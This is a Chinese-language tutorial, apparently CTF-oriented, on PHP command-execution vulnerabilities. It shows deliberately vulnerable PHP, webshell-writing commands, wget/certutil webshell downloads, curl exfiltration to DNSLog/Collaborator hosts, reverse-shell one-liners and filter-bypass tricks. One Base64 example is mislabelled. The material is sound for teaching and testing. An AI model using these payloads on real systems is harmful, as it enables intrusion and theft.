命令执行漏洞是指在Web应用系统中,因为没有对用户传入或构造的参数进行有效的安全性检测,从而执行了参数中嵌入的系统操作命令或调用了触发系统的函数,使得攻击者可以在目标系统中不受限制地执行某些系统命令,例如关机指令、文件删除指令、文件移动指令、端口开启/关闭等指令。

如曾经爆出的bash破壳漏洞,就是通过命令执行漏洞进行恶意攻击的。Wordpress的第三方组件ImageMagick调用不当造成的命令攻击、Java的Struct2框架的远程命令执行攻击等,也属于命令执行漏洞,俗称RCE漏洞。此类漏洞可以进行文件的读取操作,并为恶意攻击者提供内网渗透通道,如反弹shell、内网探测等高级威胁。

命令连接符

Windows下的命令连接符

  • &:前面的命令为假则直接执行后面的命令;为真,则在前面的命令执行后再执行后面的命令。
  • &&:前面的命令为假则直接出错,后面的命令也不执行;反之,前面的命令执行成功后执行后面的命令。
  • |:前后命令都按顺序执行,但只显示后面的命令执行结果。
  • ||:前面的命令出错,则执行后面的命令;否则,不执行后面的命令。

Linux下的命令连接符

  • ;:执行完前面的命令再执行后面的命令
  • &:前面的命令为假则直接执行后面的命令;为真,则前面的命令执行后,再执行后面的命令。
  • &&:前面的命令为假则直接出错,后面的命令也不执行;反之,前面的命令执行成功后执行后面的命令。
  • |:前后命令都按顺序执行,但只显示后面的命令执行结果。
  • ||:前面的命令出错,则执行后面的命令;否则,不执行后面的命令。

命令执行函数

与代码执行一样,在PHP中也有很多命令执行函数,例如exec()system()shell_exec()passthru()popen()proc_openpcntl_exec()等函数,可以通过参数控制函数执行系统命令。这些函数的参数一旦被攻击者控制或被注入恶意指令,就会导致命令执行漏洞,从而触发恶意攻击操作。

system() 函数

system()函数执行参数指定的系统命令,并且输出执行结果。

1
2
3
4
5
<?php
echo "<pre>";
system('ping 192.168.123.188'.$_REQUEST['test']);
echo "</pre>";
?>

image-20211212142303598

exec() 函数

exec()函数有两个参数,默认情况下,会返回第一个参数的命令运行结果的最后一行,第二个参数有效时,会将返回追加到第二个参数的值后面。

1
2
3
4
5
6
<?php
echo "<pre>";
exec('ping 192.168.123.188'.$_REQUEST['test'],$output);
print_r($output);
echo "</pre>";
?>

image-20211212142925485

shell_exec() 函数

shell_exec()函数通过shell执行参数指定的命令,输出命令返回结果的完整字符串。在Linux环境下执行。

1
2
3
4
5
<?php
echo "<pre>";
print_r(shell_exec('ping -c 4 127.0.0.1'.$_REQUEST['test']));
echo "</pre>";
?>

image-20211212144613913

passthru() 函数

passthru()函数调用参数指定的命令,把命令的运行结果原样地直接输出到标准输出设备上。

1
2
3
4
5
<?php
echo "<pre>";
passthru('ping 192.168.123.188'.$_REQUEST['test']);
echo "<pre>";
?>

image-20211212150623785

popen() 函数

popen()函数打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
$command = $_REQUEST['cmd'];
$handle = popen($command , "r"); // Open the command pipe for reading
if(is_resource($handle))
{
if(function_exists('fread') && function_exists('feof'))
{
echo "<pre>";
while(!feof($handle))
{
echo fread($handle, 1024);
}
echo "</pre>";
}
else if(function_exists('fgets') && function_exists('feof'))
{
echo "<pre>";
while(!feof($handle))
{
echo fgets($handle,1024);
}
echo "<pre>";
}
}
pclose($handle);
?>

image-20211212162807861

proc_open() 函数

proc_open()函数执行一个命令,并且打开用来输入/输出的文件指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$command = $_REQUEST['cmd'];
$descriptorspec = array(
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
);
$handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
if(is_resource($handle))
{
if(function_exists('fread') && function_exists('feof'))
{
echo "<pre>";
while(!feof($pipes[1]))
{
echo fread($pipes[1], 1024);
}
echo "</pre>";
}
else if(function_exists('fgets') && function_exists('feof'))
{
echo "<pre>";
while(!feof($pipes[1]))
{
echo fgets($pipes[1],1024);
}
echo "<pre>";
}
}
pclose($handle);
?>

image-20211212163546227

pcntl_exec()函数

pcntl是linux下的一个扩展,可以支持php的多线程操作。pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0。

有关安装pcntl扩展可以参考下面这篇文章:

https://blog.csdn.net/fareast_mzh/article/details/87349857

exp.php:

1
2
3
4
5
6
7
<?php
if(function_exists('pcntl_exec')) {
pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
echo 'pcntl extension is not support!';
}
?>

test.sh:

1
2
#!/bin/bash
nc -e /bin/bash 1.1.1.1 8888 #反弹shell

反引号``

``(反引号)函数将反引号里的内容当作shell命令执行。

1
2
3
4
<?php
$command = $_REQUEST['cmd'];
echo `$command`;
?>

image-20211212170518001

无回显命令执行利用

有回显的情况下相对交少,一般在实战环境环境中,无回显的环境较多,证明漏洞存在就需要各种利用外通信技巧。

利用延时测试漏洞

Linux:

1
2
3
| ping -c 5 127.0.0.1

| sleep 5

Windows:

1
| ping -n 5 127.0.0.1

改变文件类型

重定向输出

通过执行命令,直接将php文件写入到在浏览器可直接读取的文件类型中(如txt文件),然后访问txt文件即可得到php文件内容。

Linux:

1
2
cat flag.php > flag.txt
cat flag.php >> flag.txt

Windows:

1
2
type flag.php > flag.txt
type flag.php >> flag.txt

复制命令

Linux:

1
cp flag.php flag.txt

Windows:

1
copy flag.php flag.txt

移动或重命名命令

Linux:

1
2
mv flag.php flag.txt
rename flag.php flag.txt

Windows:

1
2
move flag.php flag.txt
rename flag.php flag.txt

压缩命令

Linux:

1
2
3
tar cvf flag.tar flag.php
tar zcvf flag.tar.gz flag.php
zip flag.zip flag.php

Windows:

1
2
# 需要主机安装WinRAR,一般是默认安装了的
"C:\Program Files\WinRAR\WinRAR.exe" a flag.zip flag.php

写入或下载WebShell

本地写入WebShell

如果存在漏洞的页面有 web 服务器,有权限写入,利用 shell 命令写入 webshell 后门到网站目录,访问即可获取 webshell。

Linux:

1
echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d > shell.php

image-20211212232738201

Windows:

1
echo ^<?php phpinfo();eval($_POST['hack']);?^> > shell.php

image-20211213111839568

注:在cmd命令行中,^符号表示转义字符,类似编程语言的\符号

外部下载WebShell

需要目标主机可以连接外网与攻击机互通。

Linux:

1
wget http://hackroom.com/shell.php -O /var/www/html/shell.php 

Windows:

1
certutil -urlcache -split -f http://hackroom.com/shell.php

带外通信

DNSLog平台

dnslog 是一个显示解析记录的平台,在无回显的情况下,通过访问 dnslog,dnslog 会把你访问的子域名的头文件记录下来。

需要注意以下几点:

  • 命令执行时要避免空格,空格会导致空格后面的命令执行不到
  • 将读取的文件命令用反引号``包含起来
  • 拼接的域名有长度限制
  • 此类方法仅Linux有效

image-20211213115440677

image-20211213115554344

这里使用的是知道创宇的ceye.io,和dnslog一样是具有显示解析记录的平台。

注:如果命令执行的结果有带空格符,可以将结果进行base64编码输出后再解码

1
curl `cat<flag.php|base64`.v4utm7.ceye.io

BurpSuite - Collaborator Client

使用curl -F将flag文件上传到BurpSuite的Collaborator Client(Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看POST请求包以及打Cookies)

  1. 获取Collaborator Client分配给Burp的链接

    打开Burp主界面 -> 菜单(Burp)-> Collaboraor Client -> 点击 Copy to Clipboard

    在这里插入图片描述

    在这里插入图片描述

    Copy得到

    1
    jyla6p5cfepdojez34stnodch3ntbi.burpcollaborator.net
  1. 拼接payload并在命令执行处提交

    1
    ip=|curl -X POST -F xx=@flag.php http://jyla6p5cfepdojez34stnodch3ntbi.burpcollaborator.net
  1. 查看Collaborator Client收到的数据
    在这里插入图片描述

成功得到flag。

反弹Shell

首先需要在攻击者的服务器发起监听(使用nc或者msf)

1
nc -lvvp 8888

受害者执行命令有如下两种方法:

  1. 直接在受害者服务器执行反弹shell命令(也可以进行base64编码)

    1
    bash -c "bash -i >& /dev/tcp/192.168.123.43/8888 0>&1"
  1. 在攻击者的文件中写入反弹shell命令,再通过受害者服务器执行curl后执行bash命令

    1
    2
    3
    4
    5
    # 攻击者服务器文件写入:
    bash -i >& /dev/tcp/192.168.123.43/8888 0>&1

    # 受害者执行命令:
    curl 192.168.123.43/attack.txt|bash

命令执行绕过

开发人员在开发过程中,为了避免命令执行漏洞,可能会过滤一些命令或者比较常见的攻击payload。攻击者会通过多种方式绕过过滤规则。

注:以下绕过仅针对Linux环境

绕过空格过滤

${IFS}绕过

$IFS是shell的特殊环境变量,是Linux下的内部区域分隔符。$IFS中存储的值可以使空格、制表符、换行符或者其他自定义符号。

  • ${PS2} 对应字符 ‘>’
  • ${PS4} 对应字符 ‘+’
  • ${IFS} 对应 内部字段分隔符
  • ${9} 对应 空字符串

image-20211212190346405

{}绕过

image-20211212180009550

绕过关键词过滤

变量拼接绕过

Linux支持变量赋值,可以通过变量拼接来绕过过滤规则

image-20211212190622406

空变量绕过

image-20211212191153096

系统变量绕过

${SHELLOPTS}是系统变量,可以利用系统变量的字符拼接绕过过滤

image-20211212191700794

\ 绕过

image-20211212191845931

引号绕过

image-20211212194334300

通配符绕过

Linux支持利用通配符进行字符匹配。通配符的作用是在模糊查询时表示文件名中某些不确定的字符

  • * 代表『 0 个到无穷多个』任意字符

  • ? 代表『一定有一个』任意字符

    同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符, 可能是 a, b, c, d 这四个任何一个』

  • [ - ] 若有减号在中括号内时,代表『在编码顺序内的所有字符』。例如 [0-9] 代表 0 到 9 之间的所有数字,因为数字的语系编码是连续的!

  • 若中括号内的第一个字符为指数符号 (^) ,那表示『反向选择』,例如 [^abc] 代表 一定有一个字符,只要是非 a, b, c 的其他字符就接受的意思

image-20211212192502084

BASE64编码绕过

利用系统函数base64对命令进行Base64编码,以绕过过滤。例如,ls -l命令的Base编码为d2hvYW1p,在利用base64 -d对d2hvYW1p进行解码,这样就绕过了过滤,并且正常执行了命令

image-20211212192924415

expr和awk绕过

通过exprawk命令从其他文件中获取字符并进行命令构造

image-20211212194011451

参考资料